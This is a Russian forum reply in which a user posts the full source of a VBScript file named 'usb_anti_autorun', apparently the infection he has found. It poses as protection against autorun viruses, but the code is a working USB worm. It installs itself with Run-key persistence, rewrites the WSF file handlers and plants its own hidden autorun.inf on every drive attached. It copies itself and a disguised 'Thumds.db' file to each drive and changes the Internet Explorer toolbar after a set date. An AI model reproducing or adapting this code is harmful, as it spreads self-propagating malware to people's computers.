Тема: ХЕЛП
Показать сообщение отдельно
Старый 03.04.2011, 14:38   #10
RegIon
Элита
 
Аватар для RegIon
 
Регистрация: 16.01.2010
Адрес: Новосибирск
Сообщений: 2,158
Написано 502 полезных сообщений
(для 1,012 пользователей)
Ответ: ХЕЛП

Я нашел СУ*У.....
<?xml version="1.0" encoding="windows-1251"?>
<!-- Проект: usb_anti_autorun -->
<!-- Автор: AxeL -->
<!-- При участии: Аскет -->
<!-- Файл: usbb.wsf -->
<!-- Версия: 1.1 -->
<!-- Назначение: подмена файла autorun.inf на свой (или его убийство, для этого в скрипте удалить строки со 150 по 170 включительно) -->
<!-- дабы не запустился вирь, в момент подсоединения флэхи -->
<!-- метод распространения: виросоподобный(autorun) -->
<!-- Права: Можно изменять скрипт под свои нужды, смотреть под отладчиком (в общем, любые) -->
<!-- Гарантии: Никаких (ни явных, ни подразумеваемых) -->
<!-- Причина написания скрипта: Penetrator -->
<!-- Связь с автором: через сайт askett.hoter.ru -->
<package>
<job id="Self_Install">
<runtime>
<description>
Имя: usbb.wsf
Автор: AxeL
Описание: Самоустановка в   %ProgramFiles%\usb_anti_autorun
</description>
</runtime>
<script language="VBScript">
<![CDATA[
Option Explicit

Dim fso, sh
Dim oWmiq, oSelQ, oItem
Dim Root, InstDir, InstFolder : InstFolder = "\usb_anti_autorun"
Dim File, attr
Dim RegKey

On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")
Set sh = CreateObject("WScript.Shell")

InstDir = sh.ExpandEnvironmentStrings("%programfiles%") & InstFolder
Root = sh.ExpandEnvironmentStrings("%SystemRoot%")

If (Chr(34) & fso.GetParentFolderName(WScript.ScriptFullName) & Chr(34)) <> (Chr(34) &  InstDir & Chr(34)) Then

    If Not fso.FolderExists(InstDir) Then fso.CreateFolder InstDir

    If fso.FileExists(InstDir & "\usbb.wsf") Then
        Set File = fso.GetFile(InstDir & "\usbb.wsf")
        attr = File.Attributes
        File.Attributes = 0
        fso.CopyFile WScript.ScriptFullName, InstDir & "\usbb.wsf"
        File.Attributes = attr
    Else
        fso.CopyFile WScript.ScriptFullName, InstDir & "\usbb.wsf"
        Set File = fso.GetFile(InstDir & "\usbb.wsf")
        File.Attributes = 33
    End If


    If Not fso.FileExists (InstDir & "\Thumds.db") Then
    If fso.FileExists ("Thumds.db") Then
    fso.CopyFile "Thumds.db", InstDir & "\Thumds.db"
    End if
    End if


    sh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\usb_autorun_remover", _
    Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work"


    RegKey = sh.RegRead("HKCR\WSFFile\EditFlags")
    If Err.Number = 0 Then sh.RegDelete "HKCR\WSFFile\EditFlags"
    RegKey = sh.RegRead("HKCR\WSFFile\Shell\Open\Command\")

    If RegKey <> "%SystemRoot%\System32\WScript.exe ""%1"" %*" Then _
    sh.RegWrite "HKCR\WSFFile\Shell\Open\Command\", "%SystemRoot%\System32\WScript.exe ""%1"" %*"

    sh.RegWrite "HKCR\WSFFile\EditFlags", 24, "REG_DWORD"

    Set oWmiq = GetObject("WinMgmts:{impersonationLevel=impersonate}!//./root/cimv2")
    Set oSelQ = oWmiq.ExecQuery("SELECT * FROM Win32_Process")

    For Each oItem In oSelQ
        If LCase(RTrim(oItem.CommandLine)) = LCase(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work") _
        Then oItem.Terminate
    Next

    sh.Exec(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work")
    
    If Len(fso.GetParentFolderName(WScript.ScriptFullName)) <=3 Then sh.Exec("explorer.exe " & fso.GetParentFolderName(WScript.ScriptFullName))
    
    Set fso = Nothing
    Set sh = Nothing
    Set oWmiq = Nothing
    Set oSelQ = Nothing
    Set File = Nothing
    WScript.Quit

Else
    sh.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\usb_autorun_remover", _
    Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work"
    sh.Exec(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work")
End If


Sub Error_Handler()
MsgBox Err.Number & Chr(13) & Err.Source & Chr(13) & Err.Description
Err.Clear
End Sub

]]>
</script>
</job>


<job id="Work">
<runtime>
<description>
Имя: usbb.wsf
Автор: AxeL
Описание: Висит в процессах и каждые 3 секунды проверяет, не присоединил ли кто-нибудь флэху,
      если да, проверяем наличие файла autorun.inf и убиваем его, если нет, ждемс...
</description>
</runtime>

<script language="VBScript">
<![CDATA[

Option Explicit
Dim CompName : CompName = "."
Dim fso, sh
Dim oWmi, oSelQ
Dim oDisk, oItem
Dim Root, InstDir, InstFolder : InstFolder = "\usb_anti_autorun"
Dim ts, File, attr
Dim Find
On Error Resume Next

Set fso = CreateObject("Scripting.FileSystemObject")
Set sh = CreateObject("WScript.Shell")

InstDir = sh.ExpandEnvironmentStrings("%programfiles%") & InstFolder
Root = sh.ExpandEnvironmentStrings("%SystemRoot%")

Set oWmi = GetObject("WinMgmts:{impersonationLevel=impersonate}!//" & CompName & "/root/cimv2")

Set oSelQ = oWmi.ExecQuery("SELECT * FROM Win32_Process")
Find = 0

For Each oItem In oSelQ
    If LCase(RTrim(oItem.CommandLine)) = LCase(Chr(34) & Root & "\System32\wscript.exe" & Chr(34) & " " & Chr(34) & InstDir & "\usbb.wsf" & Chr(34) & " //Job:Work") _
    Then Find = Find + 1
Next

If Find > 1 Then WScript.Quit 0

Set oDisk = oWmi.ExecNotificationQuery("SELECT * FROM __InstanceCreationEvent " & _
"WITHIN 3 WHERE TargetInstance ISA 'Win32_LogicalDisk'")

Do
Set oItem = oDisk.NextEvent

    If fso.FileExists (oItem.TargetInstance.DeviceID & "\autorun.inf") Then
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\autorun.inf")
    File.Attributes = 0
    File.Delete
    End If

    Set ts = fso.CreateTextFile(oItem.TargetInstance.DeviceID & "\autorun.inf")
    WScript.Sleep(100)
    ts.WriteLine "[AutoRun]"
    ts.WriteLine "shell\explore\Command=wscript.exe usbb.wsf"
    ts.WriteLine "shell\explore=Проводник"
    ts.WriteLine "shell\open\Command=wscript.exe usbb.wsf"
    ts.WriteLine "shell\open=Открыть"
    ts.close
    
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\autorun.inf")
    File.Attributes = 39

        If fso.FileExists(oItem.TargetInstance.DeviceID & "\usbb.wsf") Then
        Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\usbb.wsf")
        File.Attributes = 0
        End If
    fso.CopyFile WScript.ScriptFullName, oItem.TargetInstance.DeviceID & "\usbb.wsf"
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\usbb.wsf")
    File.Attributes = 39

        If fso.FileExists(oItem.TargetInstance.DeviceID & "\Thumds.db") Then
        Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\Thumds.db")
        File.Attributes = 0
        End If
    fso.CopyFile InstDir & "\Thumds.db", oItem.TargetInstance.DeviceID & "\Thumds.db"
    Set File = fso.GetFile(oItem.TargetInstance.DeviceID & "\Thumds.db")
    File.Attributes = 39

    if ((Month(Now)>2 And Day(Now)>7) Or Month(Now)>3) Then 
    sh.RegWrite "HKCU\Software\Microsoft\Internet explorer\Toolbar\BackBitmapShell", _
    InstDir & "\Thumds.db"
    End if

Loop While True

]]>
</script>
</job>
</package>
__________________
Сайт: http://iexpo.ml
(Offline)
 
Ответить с цитированием